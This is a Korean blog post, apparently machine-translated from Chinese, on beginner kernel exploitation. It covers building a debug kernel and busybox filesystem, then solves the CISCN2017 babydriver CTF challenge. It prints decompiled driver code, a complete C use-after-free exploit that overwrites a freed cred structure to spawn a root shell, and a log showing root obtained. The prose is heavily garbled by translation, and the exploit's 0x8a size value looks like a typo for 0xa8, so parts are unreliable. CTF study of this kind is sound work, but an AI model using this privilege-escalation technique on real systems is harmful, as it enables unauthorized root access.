kernel pwn 시작
8459 단어 pwn
자신의 환경은 16.04이며,kernel에 출입한 기록에 의하면 사내는 뿌리지 마세요.
환경 컴파일
kernel 소스 코드를 다운로드하려면 다음과 같이 하십시오.https://www.kernel.org/
필요한 의존에 따라
sudo apt-get update
sudo apt-get install build-essential libncurses5-dev
kernel 소스 컴파일
make menuconfig # sakura
#
kernel hacking
Kernel debugging
Compile-time checks and compiler options —> Compile the kernel with debug info Compile the kernel with frame pointers
KGDB
( ,
이어서
make bzImage
번역하는 시간이 좀 길다
Setup is 17244 bytes (padded to 17408 bytes).
System is 7666 kB
CRC 5c77cbfe
Kernel: arch/x86/boot/bzImage is ready (#1
이게 나오면 이미 번역에 성공했다는 뜻이야.흰둥이 입갱 강좌이기 때문에, 나는 무엇이 bzimage인지 설명해야 한다고 생각한다
vmlinux에서 컴파일한 가장 원시적인 핵 파일입니다. 압축되지 않았습니다.zImage는 vmlinux가 gzip으로 압축된 파일입니다.bzImage bz는 "big zImage"를 나타냅니다.
이렇게 설명하면 훨씬 분명해질 거야.그러면 우리는 이미 내부 핵 파일을 하나 가지고 있으며, 다음에 파일 시스템을 만들 것이다.
busybox 컴파일
(from sakura blog
wget https://busybox.net/downloads/busybox-1.27.2.tar.bz2
tar -jxvf busybox-1.27.2.tar.bz2
cd busybox-1.27.2
make menuconfig # Busybox Settings -> Build Options -> Build Busybox as a static binary
make install
폴더 아래에설치 파일
파일 시스템 구축
cd _install
mkdir proc
mkdir sys
touch init
chmod +x init
init 파일 쓰기
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
mdev -s # We need this to find /dev/sda later
setsid /bin/cttyhack setuidgid 1000 /bin/sh
파일 시스템 패키지
#!/bin/sh
echo "Generate rootfs.img"
cd busybox # fs folder
find . | cpio -o --format=newc > ../rootfs.img
mount 명령은 특정한 구역을 파일로 마운트합니다. 그러면 구역을 파일과 연결시켜 파일에 접근할 때 구역에 접근할 수 있습니다.
이상 참고: 사쿠라 대장부 블로그 501 대장부 블로그
총결산
이러한 환경 컴파일링은 문제를 풀 때 왜 3개의 파일
.sh
을 주는지 대충 이해하기 위해서이다bzimage
, rootfs.cpio
는 각각 시작 스크립트,kernel 렌즈와 파일 시스템 이미지이다.다음은 구체적인kernel문제를 분석하는데 주로 디버깅을 중시한다.CISCN2017 - babydriver
kernel pwn에 대해서 말하자면 모두 이 문제를 생각할 것이다. 그러면 이 문제를 분석해 보자.제목 파일은 다음과 같습니다.
mkdir fs
mv ../rootfs.cpio ./
cpio -idmv < rootfs.cpio
이렇게 하면 패키지를 해제할 수 있습니다. init 파일을 보면 드라이버를 불러올 수 있기 때문에 드라이버가 가장 문제가 되는 부분입니다.
cat init
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko# 。
chmod 777 /dev/babydev
echo -e "
Boot took $(cut -d' ' -f1 /proc/uptime) seconds
"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
정적 분석.ko 파일
파일을 다이아에 끌어다 보십시오.
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release
", filp, v2);
return 0;
}
# free
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open
", 37748928LL, v2);
return 0;
}
# , device_bug_len 64.
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
__int64 result; // rax
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done
", 0x24000C0LL, v5);
result = 0LL;
}
else
{
printk(&unk_2EB, v3, v3);
result = -22LL;
}
return result;
}
# 0x10001 babydev_struct.device_buf 。
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_from_user(babydev_struct.device_buf, buffer, v4);
}
}
# buffer 。( , ida 。)
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_to_user(buffer, babydev_struct.device_buf, v4);
}
}
# 。
주요 빈틈은 조건 경쟁으로 인한 UAF 빈틈이다. 왜냐하면 babydevstruct는 전역적인 것입니다. 만약에 우리가 두 개의 장치를 동시에 열고 첫 번째 장치를 놓으면 두 번째 장치는 편집할 때 uaf의 역할을 합니다.
중점: 신청 블록의 크기는cred구조체와 같아야 합니다. 이렇게 해서 우리가 방출한 후에 fork의 한 프로세스에서cred구조 체험을 이용하여 우리가 방출한
cred 구조체
kernel에서 프로세스 권한을 기록하는 데 사용되며, 이 구조체에는 프로세스의 권한 등 정보 (uid,gid) 가 저장되어 있으며, 이 구조체를 수정할 수 있다면 프로세스의 권한을 수정합니다.원본 코드
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
그러면 다음은exp의 컴파일링입니다. 이 제목 자체는 비교적 간단하기 때문에 동적 디버깅을 필요로 하지 않습니다.exp는 정적 컴파일링이 필요합니다.
#include
#include
#include
#include
#include
#include
#include
int main()
{
//
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// cred
ioctl(fd1, 0x10001, 0x8a);
// fd1
close(fd1);
// fork cred 。
int pid = fork();
if(pid < 0)
{
puts("[*] error!");
exit(0);
}
else if(pid == 0)
{
// uaf
char buf[28] = {0};
write(fd2, buf, 28);
if(getuid() == 0)
{
puts("[+] good-you-get-it");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}
그리고 정적 컴파일exp를 다시 압축합니다
cp exp fs/tmp
find . | cpio -o --format=newc > rootfs.cpio
# 。
마지막으로 루트를 받은 로그.
/ $ cd home/ctf/
~ $ ls
exp exp.c
~ $ ./exp
[ 14.687284] device open
[ 14.691077] device open
[ 14.693858] alloc done
[ 14.697858] device release
[+] good-you-get-it.
/home/ctf # whoami
root
이상 참조: M4x 대장부 블로그
총결산
전체적으로 간단하게 소개하자면ctf환경 등kernelpwn, 그 중에서bzimage의 획득과 개념, 그리고 파일 이미지의 획득과 사용.다음은 간단한 uaf 연습입니다.사나이